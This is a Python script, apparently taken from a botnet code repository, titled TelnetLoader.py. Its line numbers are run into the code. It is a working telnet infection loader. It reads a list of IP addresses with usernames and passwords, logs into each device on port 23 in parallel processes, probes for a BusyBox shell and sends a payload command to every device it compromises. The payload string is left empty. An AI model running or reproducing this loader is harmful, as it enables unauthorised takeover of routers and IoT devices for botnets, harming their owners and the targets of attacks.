Path: blob/master/Botnets/Scanning/TelnetLoader.py
5038 views
import sys, re, os, socket, time1from multiprocessing import Process23if len(sys.argv) < 2:4sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")56cmd="" #payload to send7info = open(str(sys.argv[1]),'a+')89def readUntil(tn, string, timeout=8):10buf = ''11start_time = time.time()12while time.time() - start_time < timeout:13buf += tn.recv(1024)14time.sleep(0.01)15if string in buf: return buf16raise Exception('TIMEOUT!')171819def infect(ip,username,password):20ip = str(ip).rstrip("\n")21username = username.rstrip("\n")22password = password.rstrip("\n")23try:24tn = socket.socket()25tn.settimeout(10)26tn.connect((ip,23))27except Exception:28tn.close()29try:30hoho = ''31hoho += readUntil(tn, "ogin")32if "ogin" in hoho:33tn.send(username + "\n")34time.sleep(0.09)35except Exception:36tn.close()37try:38hoho = ''39hoho += readUntil(tn, "assword:")40if "assword" in hoho:41tn.send(password + "\n")42time.sleep(0.8)43else:44pass45except Exception:46tn.close()47try:48prompt = ''49prompt += tn.recv(40960)50if ">" in prompt and "ONT" not in prompt:51try:52success = False53tn.send("cat | sh" + "\n")54time.sleep(0.1)55timeout = 856data = ["BusyBox", "Built-in"]57tn.send("sh" + "\n")58time.sleep(0.01)59tn.send("busybox" + "\r\n")60buf = ''61start_time = time.time()62while time.time() - start_time < timeout:63buf += tn.recv(40960)64time.sleep(0.01)65for info in data:66if info in buf and "unrecognized" not in buf:67success = True68break69except:70pass71elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:72try:73success = False74timeout = 875data = ["BusyBox", "Built-in"]76tn.send("sh" + "\n")77time.sleep(0.01)78tn.send("shell" + "\n")79time.sleep(0.01)80tn.send("help" + "\n")81time.sleep(0.01)82tn.send("busybox" + "\r\n")83buf = ''84start_time = time.time()85while time.time() - start_time < timeout:86buf += tn.recv(40960)87time.sleep(0.01)88for info in data:89if info in buf and "unrecognized" not in buf:90success = True91break92except:93pass94else:95tn.close()96if success == True:97try:98tn.send(cmd + "\n")99print "\033[32m[\033[31m+\033[32m] \033[33mPayload Sent!\033[32m %s"%(ip)100time.sleep(20)101tn.close()102except:103tn.close()104tn.close()105except Exception:106tn.close()107108for x in info:109try:110if ":23 " in x:111x = x.replace(":23 ", ":")112xinfo = x.split(":")113session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))114session.start()115ip=xinfo[0]116username=xinfo[1]117password=xinfo[2]118time.sleep(0.01)119except:120pass121session.join()122123